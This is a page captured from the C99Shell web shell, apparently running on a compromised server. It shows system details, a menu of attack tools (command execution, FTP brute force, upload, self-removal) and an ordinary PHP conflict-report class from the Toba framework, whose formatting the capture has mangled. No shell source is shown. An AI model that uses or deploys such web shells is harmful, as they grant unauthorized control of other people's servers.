!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/modelo/personalizacion/   drwxr-xr-x
Free 14.34 GB of 61.93 GB (23.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_registro_conflictos.php (2.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Esta clase es un registro de los conflictos de una personalización
 */
class toba_registro_conflictos
{
    protected 
$conflictos = array();

    
// Una lista de todos los conflictos sin metadata adicional
    
protected $raw_conflictos = array();

    
/**
     * @param toba_registro_conflicto $conflicto
     * @param $path el path del archivo donde se encuentra el registro conflictivo
     */
    
function add_conflicto($conflicto$path)
    {
        
$tipo $conflicto->get_tipo();
        
$archivo basename($path);
        
$this->conflictos[$archivo][$tipo][] = $conflicto;
        
$this->raw_conflictos[] = $conflicto;
    }

    function 
get_conflictos()
    {
        return 
$this->raw_conflictos;
    }

    protected function 
get_error_count($tipo)
    {
        
$error_count 0;

        foreach (
$this->conflictos as $por_archivo) {
            if (isset(
$por_archivo[$tipo])) {
                
$error_count += count($por_archivo[$tipo]);    
            }
        }

        return 
$error_count;
    }

    protected function 
generar_log($path)
    {
        
$handle fopen($path'w');

        
$fatal        toba_registro_conflicto::fatal;
        
$warning    toba_registro_conflicto::warning;

        foreach (
array_keys($this->conflictos) as $nombre) {
            
fwrite($handle"Conflictos del archivo $nombre\n");
            if (isset(
$this->conflictos[$nombre][$fatal])) {
                
fwrite($handle"\tErrores fatales\n");
                foreach (
$this->conflictos[$nombre][$fatal] as $conflicto) {
                    
$desc $conflicto->get_descripcion();
                    
fwrite($handle"\t\t$desc\n");
                }
            }

            if (isset(
$this->conflictos[$nombre][$warning])) {
                
fwrite($handle"\tErrores recuperables\n");
                foreach (
$this->conflictos[$nombre][$warning] as $conflicto) {
                    
$desc $conflicto->get_descripcion();
                    
fwrite($handle"\t\t$desc\n");
                }
            }
        }

        
fclose($handle);
    }

    function 
get_reporte($path null)
    {
        
$log '';
        if (!
is_null($path)) {
            
$this->generar_log($path);
            
$log "\nConsulte el log para más detalles en $path";
        }

        
$total_f $this->get_error_count(toba_registro_conflicto::fatal);
        
$total_w $this->get_error_count(toba_registro_conflicto::warning);

        
$total_f_mensaje $this->get_mensaje_irresoluble($total_f);
        
$total_w_mensaje $this->get_mensaje_soluble($total_w);

        if (
$total_f $total_w 0) {
            
$reporte "Hubo un total de $total_f_mensaje y $total_w_mensaje$log";
        } else {
            
$reporte "No se detectó ningún conflicto.";
        }

        return 
$reporte;
    }

    protected function 
get_mensaje_irresoluble($total)
    {
        if (
$total == 0) {
            return 
"(0) errores irresolubles";
        } elseif (
$total == 1) {
            return 
"(1) error irresoluble";
        } else {
            return 
"($total) errores irresolubles";
        }
    }

    protected function 
get_mensaje_soluble($total)
    {
        if (
$total == 0) {
            return 
"(0) errores resolubles";
        } elseif (
$total == 1) {
            return 
"(1) error resoluble";
        } else {
            return 
"($total) errores resolubles";
        }
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6072 ]--